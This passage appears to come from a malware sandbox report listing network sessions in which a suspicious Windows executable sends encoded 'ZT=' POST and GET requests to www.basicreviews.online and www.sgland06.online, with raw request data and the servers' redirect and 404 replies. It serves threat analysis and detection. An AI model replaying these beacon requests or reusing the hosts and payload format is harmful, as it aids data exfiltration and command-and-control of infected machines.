4a 75 71 49 65 5a 51 56 6a 4f 57 6a 57 57 64 77 38 42 55 34 72 63 37 37 57 63 33 2f 46 38 6f 7a 59 6b 67 62 43 6d 77 41 36 4b 74 79 71 2f 72 74 31 4a 2f 5a 37 58 51 3d 3d Data Ascii: ZT=sJ/b/IKXRpCl1hxDMglwh/3f9n/3T6R5RQJ0LRUPgEkCT7E525+yAvCFcjUgUVGiqwlQU5Zu2+Y0vkI15jS1hAo9cX9pa139We4BfmPPtx36zZV9/WQ/9+qGlDkycC18TB7hqtMNLxfJuqIeZQVjOWjWWdw8BU4rc77Wc3/F8ozYkgbCmwA6Ktyq/rt1J/Z7XQ==
Oct 30, 2024 08:13:11.589212894 CET	1045	IN	HTTP/1.1 302 Found Connection: close content-type: text/html content-length: 771 date: Wed, 30 Oct 2024 07:13:11 GMT server: LiteSpeed cache-control: no-cache, no-store, must-revalidate, max-age=0 location: http://www.basicreviews.online/cgi-sys/suspendedpage.cgi Data Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0a 3c 68 74 6d 6c 20 73 74 79 6c 65 3d 22 68 65 69 67 68 74 3a 31 30 30 25 22 3e 0a 3c 68 65 61 64 3e 0a 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 76 69 65 77 70 6f 72 74 22 20 63 6f 6e 74 65 6e 74 3d 22 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 2c 20 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 2c 20 73 68 72 69 6e 6b 2d 74 6f 2d 66 69 74 3d 6e 6f 22 20 2f 3e 0a 3c 74 69 74 6c 65 3e 20 33 30 32 20 46 6f 75 6e 64 0d 0a 3c 2f 74 69 74 6c 65 3e 3c 73 74 79 6c 65 3e 40 6d 65 64 69 61 20 28 70 72 65 66 65 72 73 2d 63 6f 6c 6f 72 2d 73 63 68 65 6d 65 3a 64 61 72 6b 29 7b 62 6f 64 79 7b 62 61 63 6b 67 72 6f 75 6e 64 2d 63 6f 6c 6f 72 3a 23 30 30 30 21 69 6d 70 6f 72 74 61 6e 74 7d 7d 3c 2f 73 74 79 6c 65 3e 3c 2f 68 65 61 64 3e 0a 3c 62 6f 64 79 20 73 74 79 6c 65 3d 22 63 6f 6c 6f 72 3a 20 23 34 34 34 3b 20 6d 61 72 67 69 6e 3a 30 3b 66 6f 6e 74 3a 20 6e 6f 72 6d 61 6c 20 31 34 70 78 2f 32 30 70 78 20 41 72 69 61 6c 2c 20 48 65 6c 76 65 74 69 63 61 2c 20 [TRUNCATED] Data Ascii: <!DOCTYPE html><html style="height:100%"><head><meta name="viewport" content="width=device-width, initial-scale=1, shrink-to-fit=no" /><title> 302 Found</title><style>@media (prefers-color-scheme:dark){body{background-color:#000!important}}</style></head><body style="color: #444; margin:0;font: normal 14px/20px Arial, Helvetica, sans-serif; height:100%; background-color: #fff;"><div style="height:auto; min-height:100%; "> <div style="text-align: center; width:800px; margin-left: -400px; position:absolute; top: 30%; left:50%;"> <h1 style="margin:0; font-size:150px; line-height:150px; font-weight:bold;">302</h1><h2 style="margin-top:20px;font-size: 30px;">Found</h2><p>The document has been temporarily moved.</p></div></div></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
42	192.168.2.4	50049	144.76.190.39	80	3804	C:\Program Files (x86)\kKRezLukEtomJldoeFBChjEQtNlvuMkWmhpzdXhqjzhwuAoylANH\oDnyHukDVUZk.exe

Timestamp	Bytes transferred	Direction	Data
Oct 30, 2024 08:13:13.274454117 CET	751	OUT	POST /3xn5/ HTTP/1.1 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8 Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.5 Host: www.basicreviews.online Cache-Control: max-age=0 Content-Type: application/x-www-form-urlencoded Content-Length: 219 Connection: close Origin: http://www.basicreviews.online Referer: http://www.basicreviews.online/3xn5/ User-Agent: Mozilla/5.0 (Windows NT 6.3; Win64; x64; Trident/7.0; Touch; TNJB; rv:11.0) like Gecko Data Raw: 5a 54 3d 73 4a 2f 62 2f 49 4b 58 52 70 43 6c 36 67 68 44 4f 41 5a 77 31 76 33 59 6a 33 2f 33 5a 61 52 31 52 52 31 30 4c 55 6c 55 67 32 41 43 64 2b 34 35 33 34 2b 79 48 76 43 46 54 44 55 70 61 31 47 39 71 77 70 69 55 38 68 75 32 36 34 30 76 68 73 31 34 55 4f 30 68 51 6f 7a 64 6e 39 72 55 56 33 39 57 65 34 42 66 69 6e 31 74 78 50 36 7a 70 6c 39 74 48 51 77 38 2b 71 46 69 44 6b 79 59 43 31 34 54 42 37 54 71 73 51 33 4c 33 44 4a 75 72 34 65 65 42 56 73 5a 47 6a 55 4c 4e 77 74 49 33 56 54 53 34 57 6e 61 52 79 69 36 59 76 44 6c 6d 57 59 33 42 68 74 59 74 57 5a 69 73 6b 42 45 38 6b 79 4d 64 6a 45 59 67 62 76 30 74 59 5a 6c 6d 6a 45 68 51 41 56 42 6f 59 3d Data Ascii: ZT=sJ/b/IKXRpCl6ghDOAZw1v3Yj3/3ZaR1RR10LUlUg2ACd+4534+yHvCFTDUpa1G9qwpiU8hu2640vhs14UO0hQozdn9rUV39We4Bfin1txP6zpl9tHQw8+qFiDkyYC14TB7TqsQ3L3DJur4eeBVsZGjULNwtI3VTS4WnaRyi6YvDlmWY3BhtYtWZiskBE8kyMdjEYgbv0tYZlmjEhQAVBoY=
Oct 30, 2024 08:13:14.199846983 CET	1045	IN	HTTP/1.1 302 Found Connection: close content-type: text/html content-length: 771 date: Wed, 30 Oct 2024 07:13:13 GMT server: LiteSpeed cache-control: no-cache, no-store, must-revalidate, max-age=0 location: http://www.basicreviews.online/cgi-sys/suspendedpage.cgi Data Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0a 3c 68 74 6d 6c 20 73 74 79 6c 65 3d 22 68 65 69 67 68 74 3a 31 30 30 25 22 3e 0a 3c 68 65 61 64 3e 0a 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 76 69 65 77 70 6f 72 74 22 20 63 6f 6e 74 65 6e 74 3d 22 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 2c 20 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 2c 20 73 68 72 69 6e 6b 2d 74 6f 2d 66 69 74 3d 6e 6f 22 20 2f 3e 0a 3c 74 69 74 6c 65 3e 20 33 30 32 20 46 6f 75 6e 64 0d 0a 3c 2f 74 69 74 6c 65 3e 3c 73 74 79 6c 65 3e 40 6d 65 64 69 61 20 28 70 72 65 66 65 72 73 2d 63 6f 6c 6f 72 2d 73 63 68 65 6d 65 3a 64 61 72 6b 29 7b 62 6f 64 79 7b 62 61 63 6b 67 72 6f 75 6e 64 2d 63 6f 6c 6f 72 3a 23 30 30 30 21 69 6d 70 6f 72 74 61 6e 74 7d 7d 3c 2f 73 74 79 6c 65 3e 3c 2f 68 65 61 64 3e 0a 3c 62 6f 64 79 20 73 74 79 6c 65 3d 22 63 6f 6c 6f 72 3a 20 23 34 34 34 3b 20 6d 61 72 67 69 6e 3a 30 3b 66 6f 6e 74 3a 20 6e 6f 72 6d 61 6c 20 31 34 70 78 2f 32 30 70 78 20 41 72 69 61 6c 2c 20 48 65 6c 76 65 74 69 63 61 2c 20 [TRUNCATED] Data Ascii: <!DOCTYPE html><html style="height:100%"><head><meta name="viewport" content="width=device-width, initial-scale=1, shrink-to-fit=no" /><title> 302 Found</title><style>@media (prefers-color-scheme:dark){body{background-color:#000!important}}</style></head><body style="color: #444; margin:0;font: normal 14px/20px Arial, Helvetica, sans-serif; height:100%; background-color: #fff;"><div style="height:auto; min-height:100%; "> <div style="text-align: center; width:800px; margin-left: -400px; position:absolute; top: 30%; left:50%;"> <h1 style="margin:0; font-size:150px; line-height:150px; font-weight:bold;">302</h1><h2 style="margin-top:20px;font-size: 30px;">Found</h2><p>The document has been temporarily moved.</p></div></div></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
43	192.168.2.4	50050	144.76.190.39	80	3804	C:\Program Files (x86)\kKRezLukEtomJldoeFBChjEQtNlvuMkWmhpzdXhqjzhwuAoylANH\oDnyHukDVUZk.exe

Timestamp	Bytes transferred	Direction	Data
Oct 30, 2024 08:13:15.826363087 CET	10833	OUT	POST /3xn5/ HTTP/1.1 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8 Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.5 Host: www.basicreviews.online Cache-Control: max-age=0 Content-Type: application/x-www-form-urlencoded Content-Length: 10299 Connection: close Origin: http://www.basicreviews.online Referer: http://www.basicreviews.online/3xn5/ User-Agent: Mozilla/5.0 (Windows NT 6.3; Win64; x64; Trident/7.0; Touch; TNJB; rv:11.0) like Gecko Data Raw: 5a 54 3d 73 4a 2f 62 2f 49 4b 58 52 70 43 6c 36 67 68 44 4f 41 5a 77 31 76 33 59 6a 33 2f 33 5a 61 52 31 52 52 31 30 4c 55 6c 55 67 32 49 43 64 4c 30 35 31 62 57 79 47 76 43 46 4e 7a 55 6b 61 31 47 77 71 77 78 6d 55 38 38 5a 32 34 41 30 73 43 55 31 78 46 4f 30 71 51 6f 7a 59 58 39 6d 61 31 33 53 57 65 70 47 66 6d 44 31 74 78 50 36 7a 72 39 39 39 6d 51 77 78 65 71 47 6c 44 6b 41 63 43 31 51 54 42 7a 70 71 73 56 4b 4c 42 7a 4a 75 4c 6f 65 66 7a 39 73 47 32 6a 53 49 4e 78 77 49 33 5a 4d 53 35 37 59 61 52 76 46 36 61 7a 44 6b 6e 76 67 73 51 46 71 4e 2f 2b 51 2b 62 34 46 41 4d 74 72 55 76 6d 38 64 53 37 55 73 75 34 62 69 6e 61 67 39 43 30 32 55 64 7a 6a 6d 72 67 74 74 71 31 57 62 61 37 59 73 52 5a 71 74 73 69 5a 66 4a 30 54 50 74 41 70 38 49 46 6a 75 77 2f 4b 6a 77 49 42 2f 38 4f 7a 65 4c 59 62 61 39 39 4c 72 76 48 54 79 79 59 35 62 48 31 4b 62 47 54 4f 2b 73 34 79 34 64 6b 72 33 6c 62 66 44 2f 33 50 35 74 42 37 76 47 72 46 48 2b 2b 4a 5a 73 31 49 6d 41 4f 72 46 38 6b 32 53 39 68 34 4c 79 51 4c 59 71 7a [TRUNCATED] Data Ascii: ZT=sJ/b/IKXRpCl6ghDOAZw1v3Yj3/3ZaR1RR10LUlUg2ICdL051bWyGvCFNzUka1GwqwxmU88Z24A0sCU1xFO0qQozYX9ma13SWepGfmD1txP6zr999mQwxeqGlDkAcC1QTBzpqsVKLBzJuLoefz9sG2jSINxwI3ZMS57YaRvF6azDknvgsQFqN/+Q+b4FAMtrUvm8dS7Usu4binag9C02Udzjmrgttq1Wba7YsRZqtsiZfJ0TPtAp8IFjuw/KjwIB/8OzeLYba99LrvHTyyY5bH1KbGTO+s4y4dkr3lbfD/3P5tB7vGrFH++JZs1ImAOrF8k2S9h4LyQLYqz9kxSRtoZQlORAUgKe3EDbOdewEZkyOJLwzdObdCgkNhacafYOSr/GVHnpWf8QYpoNkIDhUjou+sYnLIkbi48UbigHRZUHys++vVJGzNy0q/MZmdUMrVoahNTGW2W6nixdMsk6M7zSnxE1WNKgwLTs2Zy8x5cFnBGuSc2aLk7Yanzk+RuAQW2A5UDfpHgKke8RkM/mDVB0Z5uPWkSeyRGUFIaCYIRuwg9OFswDxY5/S0AnGhrgAhYS2EmgYcDA2lb4cTnGwFfwq7XqHpt/o6Gg786ThG9n85R9VCfIGVBG+s2iCuIZGCLxgEfATvTZlqpHuSFbOfOa5DBQ9Z+Eu14UOpZVXJqfmcjpqCjvUW0U9QKE3OJrR3Awe3RTezmndU6XJZHV+Z+0zNRPlPafYEAYHId1fPWvQXuTrGEgikq5sOIbYHlhDy4p9yrSmzfe3nv7GxfZBEIakA62V+xfkFIxmbJaQIFb6W+3yim5UxC4vzccLeh3flH959ueWfMRCpupWfkUc5ZcjWXvjRD1UCADSaSroGj9ElNAl4yEV3fBPRAF7+XnKmIT5d5aU3ewePi5MsxKx0xKSOow6fJPUq5h3srqkt0E8pY6jMjsi7O1VXEEyMMWdvexEpuCc5ZcT2utpVvHS0sho6btj0QLsgf08lWGMh8rAiLS7 [TRUNCATED]

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
44	192.168.2.4	50051	144.76.190.39	80	3804	C:\Program Files (x86)\kKRezLukEtomJldoeFBChjEQtNlvuMkWmhpzdXhqjzhwuAoylANH\oDnyHukDVUZk.exe

Timestamp	Bytes transferred	Direction	Data
Oct 30, 2024 08:13:18.366791964 CET	452	OUT	GET /3xn5/?ZT=hLX784qEA4n55Q1oGw1olOPE1jv2cb5vRwpnfGUpuE0YTY8y9L6/CN63cm0behm+qDJgSuJj8e8DxEJz6zH1lBsEYFc4WGfLLcwXK2bqtXGi64JZ82gh2/U=&mTkD=Gj2Ti2T0g4 HTTP/1.1 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8 Accept-Language: en-US,en;q=0.5 Host: www.basicreviews.online Connection: close User-Agent: Mozilla/5.0 (Windows NT 6.3; Win64; x64; Trident/7.0; Touch; TNJB; rv:11.0) like Gecko
Oct 30, 2024 08:13:19.209549904 CET	1185	IN	HTTP/1.1 302 Found Connection: close content-type: text/html content-length: 771 date: Wed, 30 Oct 2024 07:13:19 GMT server: LiteSpeed cache-control: no-cache, no-store, must-revalidate, max-age=0 location: http://www.basicreviews.online/cgi-sys/suspendedpage.cgi?ZT=hLX784qEA4n55Q1oGw1olOPE1jv2cb5vRwpnfGUpuE0YTY8y9L6/CN63cm0behm+qDJgSuJj8e8DxEJz6zH1lBsEYFc4WGfLLcwXK2bqtXGi64JZ82gh2/U=&mTkD=Gj2Ti2T0g4 Data Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0a 3c 68 74 6d 6c 20 73 74 79 6c 65 3d 22 68 65 69 67 68 74 3a 31 30 30 25 22 3e 0a 3c 68 65 61 64 3e 0a 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 76 69 65 77 70 6f 72 74 22 20 63 6f 6e 74 65 6e 74 3d 22 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 2c 20 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 2c 20 73 68 72 69 6e 6b 2d 74 6f 2d 66 69 74 3d 6e 6f 22 20 2f 3e 0a 3c 74 69 74 6c 65 3e 20 33 30 32 20 46 6f 75 6e 64 0d 0a 3c 2f 74 69 74 6c 65 3e 3c 73 74 79 6c 65 3e 40 6d 65 64 69 61 20 28 70 72 65 66 65 72 73 2d 63 6f 6c 6f 72 2d 73 63 68 65 6d 65 3a 64 61 72 6b 29 7b 62 6f 64 79 7b 62 61 63 6b 67 72 6f 75 6e 64 2d 63 6f 6c 6f 72 3a 23 30 30 30 21 69 6d 70 6f 72 74 61 6e 74 7d 7d 3c 2f 73 74 79 6c 65 3e 3c 2f 68 65 61 64 3e 0a 3c 62 6f 64 79 20 73 74 79 6c 65 3d 22 63 6f 6c 6f 72 3a 20 23 34 34 34 3b 20 6d 61 72 67 69 6e 3a 30 3b 66 6f 6e 74 3a 20 6e 6f 72 6d 61 6c 20 31 34 70 78 2f 32 30 70 78 20 41 72 69 61 6c 2c 20 48 65 6c 76 65 74 69 63 61 2c 20 [TRUNCATED] Data Ascii: <!DOCTYPE html><html style="height:100%"><head><meta name="viewport" content="width=device-width, initial-scale=1, shrink-to-fit=no" /><title> 302 Found</title><style>@media (prefers-color-scheme:dark){body{background-color:#000!important}}</style></head><body style="color: #444; margin:0;font: normal 14px/20px Arial, Helvetica, sans-serif; height:100%; background-color: #fff;"><div style="height:auto; min-height:100%; "> <div style="text-align: center; width:800px; margin-left: -400px; position:absolute; top: 30%; left:50%;"> <h1 style="margin:0; font-size:150px; line-height:150px; font-weight:bold;">302</h1><h2 style="margin-top:20px;font-size: 30px;">Found</h2><p>The document has been temporarily moved.</p></div></div></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
45	192.168.2.4	50052	34.92.128.59	80	3804	C:\Program Files (x86)\kKRezLukEtomJldoeFBChjEQtNlvuMkWmhpzdXhqjzhwuAoylANH\oDnyHukDVUZk.exe

Timestamp	Bytes transferred	Direction	Data
Oct 30, 2024 08:13:24.386512041 CET	719	OUT	POST /33ib/ HTTP/1.1 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8 Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.5 Host: www.sgland06.online Cache-Control: max-age=0 Content-Type: application/x-www-form-urlencoded Content-Length: 199 Connection: close Origin: http://www.sgland06.online Referer: http://www.sgland06.online/33ib/ User-Agent: Mozilla/5.0 (Windows NT 6.3; Win64; x64; Trident/7.0; Touch; TNJB; rv:11.0) like Gecko Data Raw: 5a 54 3d 4e 61 6d 2f 44 66 57 57 37 50 39 48 61 4b 78 48 30 74 54 44 43 77 6c 4d 72 58 45 43 2f 4d 74 6f 6e 34 6a 68 36 62 31 68 7a 31 70 4a 52 52 47 38 30 6c 63 46 64 4e 41 77 6d 63 46 46 6a 31 74 61 4a 66 74 6c 45 31 4d 34 38 6e 70 33 36 4e 4e 70 79 31 57 54 78 68 6d 6d 64 31 6b 43 74 6a 38 44 30 6a 67 57 34 31 63 32 6f 6b 58 41 44 50 2f 69 70 36 49 6b 6e 38 73 56 70 4c 43 54 4e 36 59 2f 37 49 47 6d 5a 6a 51 35 76 41 31 4e 68 31 31 55 65 71 63 76 6e 35 6c 5a 71 6f 32 6e 64 70 55 46 4c 61 43 32 7a 79 7a 31 6f 42 6e 41 38 59 48 68 6f 33 2b 52 69 49 44 39 76 4d 77 2b 49 6c 66 79 5a 41 3d 3d Data Ascii: ZT=Nam/DfWW7P9HaKxH0tTDCwlMrXEC/Mton4jh6b1hz1pJRRG80lcFdNAwmcFFj1taJftlE1M48np36NNpy1WTxhmmd1kCtj8D0jgW41c2okXADP/ip6Ikn8sVpLCTN6Y/7IGmZjQ5vA1Nh11Ueqcvn5lZqo2ndpUFLaC2zyz1oBnA8YHho3+RiID9vMw+IlfyZA==
Oct 30, 2024 08:13:25.346431971 CET	833	IN	HTTP/1.1 404 Not Found Server: nginx Date: Wed, 30 Oct 2024 07:13:25 GMT Content-Type: text/html Transfer-Encoding: chunked Connection: close vary: accept-encoding Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=cUHwzHeeaK07BdDXGPgYn90TIdEYVBR1SAV6wEUL1lI8%2BYb6S%2BVcop685tmmlSSj0FiGcF0GeDsMYjQOXsPNOMStMs1TtT0VOgf3VxI7t%2FJTq7zBCJ7t08DLuf1CCQQEWTDnbncWcGWNQg%3D%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Content-Encoding: gzip server-timing: cfL4;desc="?proto=TCP&rtt=1478&sent=1&recv=3&lost=0&retrans=0&sent_bytes=0&recv_bytes=739&delivery_rate=0&cwnd=249&unsent_bytes=0&cid=0000000000000000&ts=0&x=0" Data Raw: 36 64 0d 0a 1f 8b 08 00 00 00 00 00 00 03 b3 c9 28 c9 cd b1 e3 e5 b2 c9 48 4d 4c b1 b3 29 c9 2c c9 49 b5 33 31 30 51 f0 cb 2f 51 70 cb 2f cd 4b b1 d1 87 08 da e8 83 95 f0 72 d9 24 e5 a7 54 82 e8 e4 d4 bc 92 d4 22 3b 9b 0c 43 74 1d 19 86 76 36 fa 50 69 90 d9 45 76 30 c5 79 e9 99 79 15 c8 72 fa 30 d3 f4 a1 2e 01 00 0b d9 61 33 92 00 00 00 0d 0a 30 0d 0a 0d 0a Data Ascii: 6d(HML),I310Q/Qp/Kr$T";Ctv6PiEv0yyr0.a30

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
46	192.168.2.4	50053	34.92.128.59	80	3804	C:\Program Files (x86)\kKRezLukEtomJldoeFBChjEQtNlvuMkWmhpzdXhqjzhwuAoylANH\oDnyHukDVUZk.exe

Timestamp	Bytes transferred	Direction	Data
Oct 30, 2024 08:13:26.942014933 CET	739	OUT	POST /33ib/ HTTP/1.1 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8 Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.5 Host: www.sgland06.online Cache-Control: max-age=0 Content-Type: application/x-www-form-urlencoded Content-Length: 219 Connection: close Origin: http://www.sgland06.online Referer: http://www.sgland06.online/33ib/ User-Agent: Mozilla/5.0 (Windows NT 6.3; Win64; x64; Trident/7.0; Touch; TNJB; rv:11.0) like Gecko Data Raw: 5a 54 3d 4e 61 6d 2f 44 66 57 57 37 50 39 48 62 71 68 48 6e 63 54 44 56 67 6b 2b 6c 33 45 43 78 73 74 73 6e 34 76 68 36 65 56 78 7a 6d 64 4a 49 30 36 38 31 6e 34 46 54 74 41 77 73 38 46 41 74 56 74 52 4a 66 52 44 45 78 4d 34 38 6e 74 33 36 4e 39 70 75 53 36 55 77 78 6d 6b 57 56 6b 41 6e 44 38 44 30 6a 67 57 34 78 30 59 6f 6e 6e 41 43 2f 76 69 76 72 49 6a 35 73 73 57 6a 72 43 54 4a 36 59 37 37 49 47 45 5a 6e 5a 53 76 43 4e 4e 68 33 74 55 65 62 63 73 75 35 6c 66 30 59 32 31 58 4b 35 39 54 62 2f 56 39 6b 72 41 6e 79 4c 42 77 2b 4b 37 35 47 66 47 77 49 6e 4f 79 4c 35 4b 46 6d 69 37 43 4f 32 4b 36 31 59 57 6a 38 38 45 39 5a 4c 35 6b 66 78 56 4a 63 77 3d Data Ascii: ZT=Nam/DfWW7P9HbqhHncTDVgk+l3ECxstsn4vh6eVxzmdJI0681n4FTtAws8FAtVtRJfRDExM48nt36N9puS6UwxmkWVkAnD8D0jgW4x0YonnAC/vivrIj5ssWjrCTJ6Y77IGEZnZSvCNNh3tUebcsu5lf0Y21XK59Tb/V9krAnyLBw+K75GfGwInOyL5KFmi7CO2K61YWj88E9ZL5kfxVJcw=
Oct 30, 2024 08:13:28.198921919 CET	839	IN	HTTP/1.1 404 Not Found Server: nginx Date: Wed, 30 Oct 2024 07:13:27 GMT Content-Type: text/html Transfer-Encoding: chunked Connection: close vary: accept-encoding Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=%2F1Qp0ukKMEeQgs6o%2BwXck7xNYyZcumSwOAJJD84Cj7dF87XdMaCrjGWrYvj9I1MLqY%2FAvcs4d6H8GJZADfCa8Wq5RxkTIsXxXIQqQWFHDY%2FYEnghqv%2FSdyaSNi5bxCMfdQlmsGO%2FzaVmGw%3D%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Content-Encoding: gzip server-timing: cfL4;desc="?proto=TCP&rtt=1814&sent=1&recv=3&lost=0&retrans=0&sent_bytes=0&recv_bytes=759&delivery_rate=0&cwnd=249&unsent_bytes=0&cid=0000000000000000&ts=0&x=0" Data Raw: 36 64 0d 0a 1f 8b 08 00 00 00 00 00 00 03 b3 c9 28 c9 cd b1 e3 e5 b2 c9 48 4d 4c b1 b3 29 c9 2c c9 49 b5 33 31 30 51 f0 cb 2f 51 70 cb 2f cd 4b b1 d1 87 08 da e8 83 95 f0 72 d9 24 e5 a7 54 82 e8 e4 d4 bc 92 d4 22 3b 9b 0c 43 74 1d 19 86 76 36 fa 50 69 90 d9 45 76 30 c5 79 e9 99 79 15 c8 72 fa 30 d3 f4 a1 2e 01 00 0b d9 61 33 92 00 00 00 0d 0a 30 0d 0a 0d 0a Data Ascii: 6d(HML),I310Q/Qp/Kr$T";Ctv6PiEv0yyr0.a30

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
47	192.168.2.4	50054	34.92.128.59	80	3804	C:\Program Files (x86)\kKRezLukEtomJldoeFBChjEQtNlvuMkWmhpzdXhqjzhwuAoylANH\oDnyHukDVUZk.exe

Timestamp	Bytes transferred	Direction	Data
Oct 30, 2024 08:13:29.499329090 CET	10821	OUT	POST /33ib/ HTTP/1.1 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8 Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.5 Host: www.sgland06.online Cache-Control: max-age=0 Content-Type: application/x-www-form-urlencoded Content-Length: 10299 Connection: close Origin: http://www.sgland06.online Referer: http://www.sgland06.online/33ib/ User-Agent: Mozilla/5.0 (Windows NT 6.3; Win64; x64; Trident/7.0; Touch; TNJB; rv:11.0) like Gecko Data Raw: 5a 54 3d 4e 61 6d 2f 44 66 57 57 37 50 39 48 62 71 68 48 6e 63 54 44 56 67 6b 2b 6c 33 45 43 78 73 74 73 6e 34 76 68 36 65 56 78 7a 6e 6c 4a 49 69 4f 38 7a 48 45 46 51 74 41 77 79 73 46 42 74 56 74 4d 4a 66 4a 48 45 78 41 43 38 6c 46 33 36 75 31 70 2b 67 43 55 37 78 6d 6b 5a 31 6b 46 74 6a 38 53 30 6a 77 61 34 31 51 59 6f 6e 6e 41 43 35 4c 69 35 4b 49 6a 37 73 73 56 70 4c 43 6c 4e 36 59 54 37 49 50 37 5a 6e 63 70 75 7a 74 4e 67 58 39 55 4e 35 30 73 7a 4a 6c 64 31 59 33 6d 58 4b 31 69 54 61 54 6a 39 6b 32 62 6e 78 58 42 67 6f 37 43 72 57 66 43 6f 70 62 50 68 5a 6b 74 4b 30 71 41 62 50 6d 6f 70 6c 49 32 6a 38 39 7a 34 4f 75 52 68 36 64 4f 4c 4c 52 32 44 67 47 51 39 63 4b 52 74 58 45 50 58 72 66 6c 52 63 4c 2f 44 45 33 38 56 77 63 69 78 4e 69 62 6b 6d 69 42 62 72 72 7a 36 73 61 31 57 45 4a 4a 6b 68 4d 32 76 73 65 43 59 4c 37 57 51 74 69 55 6c 53 46 48 57 45 6b 44 6a 57 69 32 71 4a 75 68 31 6e 70 6d 4e 4f 4c 61 6b 6e 6d 4b 41 37 4b 68 56 6f 7a 4e 61 44 7a 39 39 36 61 64 45 31 53 38 77 37 58 4c 57 73 44 [TRUNCATED] Data Ascii: ZT=Nam/DfWW7P9HbqhHncTDVgk+l3ECxstsn4vh6eVxznlJIiO8zHEFQtAwysFBtVtMJfJHExAC8lF36u1p+gCU7xmkZ1kFtj8S0jwa41QYonnAC5Li5KIj7ssVpLClN6YT7IP7ZncpuztNgX9UN50szJld1Y3mXK1iTaTj9k2bnxXBgo7CrWfCopbPhZktK0qAbPmoplI2j89z4OuRh6dOLLR2DgGQ9cKRtXEPXrflRcL/DE38VwcixNibkmiBbrrz6sa1WEJJkhM2vseCYL7WQtiUlSFHWEkDjWi2qJuh1npmNOLaknmKA7KhVozNaDz996adE1S8w7XLWsDUtydyj2Lkza9PWhn0xwCdNFEhG7VSzL75IqJcnwBLlZHiBNncZFgf89rqo7mHwPeHGEHCH8VFmLJZqI4pM6iDXI2afHL/xD9yaqc/jDiZwhEImWkj8/1mJSlYTNMXt2PTDbYy6wWTyVEk1OPqP7qHaQ2tZ75UoBuRWmjSdtcpXhtzM9nnAA7pgqDR2Jcpn85CcMWzfuHB2g2SJ8a+bYexuR1fJQQw9KYr1Xn3qpb9ERGrsU8kOrZtKvuryy8LIp74WoQbuziKiPRer1BHBQWvp0wGyHKhc3A6Pu+ou298YFE9s7GUp3JbuTURB9T5i27lj8flGphYz6hge7VPRWi/5NAZLL66VnFDtpYPWip1ipH4DpMkp0fiKtzQ/J2NS4ADcG6Het9yaqCYAjN4uH4u6D224Edw0oRhvUiG3CzlysBmkQkJ7m1tgZBdRbpsJ4ew1zSg7bIYMm6FPUC7sdlYcGhMH5ksNfhvAybVJhvYaRW9icWcQYKXNf4niWaxvzSZzKM81EfTutVwekoAl38AkHkK76pP3w1E9bPChxOAU7T/1IFSr5aNLbmyderpvjfuD2v7IUqdbBL3GEIuU5cg2K/N2l1VK5h1PbEZVdc8L4d5txOatyqpZullCFw2Eif+osPwd4FL22Gmx4yYcef1mSG5m3uReJeYu [TRUNCATED]
Oct 30, 2024 08:13:30.466429949 CET	842	IN	HTTP/1.1 404 Not Found Server: nginx Date: Wed, 30 Oct 2024 07:13:30 GMT Content-Type: text/html Transfer-Encoding: chunked Connection: close vary: accept-encoding Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=7YCUGYchLbJXV%2FJMALRkbPKPygHb%2B2S6JqxaAviQJta1hjsQXmpeKvh65zoEcqumyG5DAZ1QD4k6R1bTTlbGapU%2BK%2F72Hk2jcXlwci3puO1qEYR5NiIEcWJcMk%2B13NCbB%2FpjBUbxiv1Hog%3D%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Content-Encoding: gzip server-timing: cfL4;desc="?proto=TCP&rtt=1408&sent=1&recv=10&lost=0&retrans=0&sent_bytes=0&recv_bytes=10841&delivery_rate=0&cwnd=249&unsent_bytes=0&cid=0000000000000000&ts=0&x=0" Data Raw: 36 64 0d 0a 1f 8b 08 00 00 00 00 00 00 03 b3 c9 28 c9 cd b1 e3 e5 b2 c9 48 4d 4c b1 b3 29 c9 2c c9 49 b5 33 31 30 51 f0 cb 2f 51 70 cb 2f cd 4b b1 d1 87 08 da e8 83 95 f0 72 d9 24 e5 a7 54 82 e8 e4 d4 bc 92 d4 22 3b 9b 0c 43 74 1d 19 86 76 36 fa 50 69 90 d9 45 76 30 c5 79 